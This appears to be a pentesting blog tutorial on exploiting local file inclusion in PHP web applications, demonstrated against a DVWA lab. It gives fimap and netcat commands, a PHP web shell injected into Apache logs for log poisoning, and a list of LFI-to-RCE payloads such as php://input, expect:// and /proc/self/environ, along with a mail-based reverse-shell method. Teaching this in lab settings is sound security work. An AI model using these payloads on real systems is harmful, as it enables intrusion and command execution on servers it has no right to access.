LFI Quick Guide
If you’re relatively new to pentesting the whole LFI concept can be a bit confusing, especailly when trying to convert that LFI vulnerability to shell. Below is is guide on LFI and how to obtain shell through multiple vectors.
First step is finding a LFI vulnerability. Flip on the google-fu switch, dig into searchsploit or manually test. I’d recommend firing up metasploitable2 test server which has DVWA and Mutillidae installed. Plus you can check the webserver logs, php, etc to get a good grasp on what’s going on.
When manually searching for LFI exploits keep an eye out for “?page=something” , “LANG=something” , etc. You can also use FI Cyberspace Scan or fimap to fuzz for LFI.
Here’s the DVWA LFI page
First you can do a quick manual test. Here are a few LFI lists to get you started. Make sure to try multiple dot-slash instances.
In this example, including /etc/passwd in place of include.php displays the /etc/passwd file. Now that an LFI is found, you can check for a RFI using the same method. A quick test can be done by pointing to a bogus txt file on your attacking webserver.
Open up your access.log to check if the potential RFI is sending the request.
root@kali:~# tail -f /var/log/apache2/access.log
The victim’s server may not allow certain file extensions or may add an extension. If it’s adding a file extension or adding anything else to your request, attempt to include a null byte %00.
The null byte issue has been fixed in PHP 5.3.4, so this method is becoming less and less common.
Since LFI can be a manual process, there are a few tools built to automate the tedious process. Any sort of fuzzing will be very loud, so keep that in mind while running an assessment.
FI Cyberspace Scan
GitHub - A Local File Inclusion CLI tool written in Python to speed up LFI checks. Similar to using Burp or ZAP, but less bulky and resource intensive. File lists are included in the app, ranging from basic to verbose. Set different Cyber-Attack Modes, unique Encoded Path Types or turn on Deep Directory Traversal or NULL Bytes.
Valid LFI results are based on HTTP response codes, then HTTP response sizes. A non-200 will result in a failure, then a reflected byte size different from a pre-tested baseline will result in a valid find. Valid finds will be displayed in terminal output.
Before executing the attack, you’ll be prompted with the set parameters, then can either confirm & execute OR exit the program. All parameters are preset besides Target. Adding these flags will update the set parameters, prior to execution.
See my post with a quick overview of FI cyber scan. Alot of options, but you can simply include the full LFI path as the only argument to get started. Example:
python fi-cyberscan.py http://TargetIP/vuln.php?page=
A more popular automated LFI tool is fimap. This has an abundance of options, including a cookie flag. In our DVWA example, there is an initial login page prior to the LFI vulnerable page, so we must include cookie info when running fimap.
root@kali:~# fimap -b -u \ 'http://192.168.72.134/dvwa/vulnerabilities/fi/?page=include.php' \ --cookie='security=low; PHPSESSID=438a00c8882ba9e2102a34f7040adaee' # [READABLE FILES] # #  /etc/passwd # #  /proc/self/environ # #  /var/log/apache2/access.log # #  /var/log/auth.log #
Get excited when you see
Having LFI to these files opens up the opportunity to gain shell or command execution. We can start by contaminating the apache log file…
If you have LFI access to any webserver error or access log files, you can attempt to inject malicious php code. Once the php code is written to the access.log, and is reloaded, it will be displayed in your web browser as processed PHP. After adding the injected varible to our url to we’ll have code execution.
First we’ll attempt to inject by using netcat.
root@kali:~# nc 192.168.72.134 80 <?php echo shell_exec($_GET['cmd']);?>
Now test if the injection was successful by including the new cmd varible into the url.
Depending on the circumstance the log file may be very very big. Scroll all the way down to check if the command execution was successful.
page=/proc/self/environ <-- a great way to inject a backdoor via the User Agent page=/var/log/<log file path> <-- can poison logs if you know the location page=/proc/self/cmdline <-- grab the HTTP config page=/proc/self/fd/<some number> <-- cycle through these to find the log files *neat technique hey* page=expect://ls <-- allows code execution though its not enabled by default page=php://input&cmd=ls <-- have to convert the GET request to POST but with it you achieve RCE also use this a lot on windows targets page=php://filter/convert.base64-encode/resource= <-- a great way to read web pages that is executed page=zip:// <--abusing this can get you a backdoor uploaded //send mail - quick steps. If LFI and open smtp service. -Find smtp users (smtp-enum) -Send mail to www-data from anything -include php rev shell in the body - send -go to page=/var/spool/mail/www-data to trigger
//Excellent guide on everything LFI https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/ //Explanation of mutile vectors from LFI to shell. https://www.exploit-db.com/docs/40992.pdf //lfi mail to shell http://devels-playground.blogspot.com/2007/08/local-file-inclusion-tricks.html //Good, simple, stable webshell with upload funciton. https://github.com/WhiteWinterWolf/WhiteWinterWolf-php-webshell/blob/master/webshell.php //Another straight forward lfi guide http://www.enye-sec.org/en/papers/web_vuln-en.txt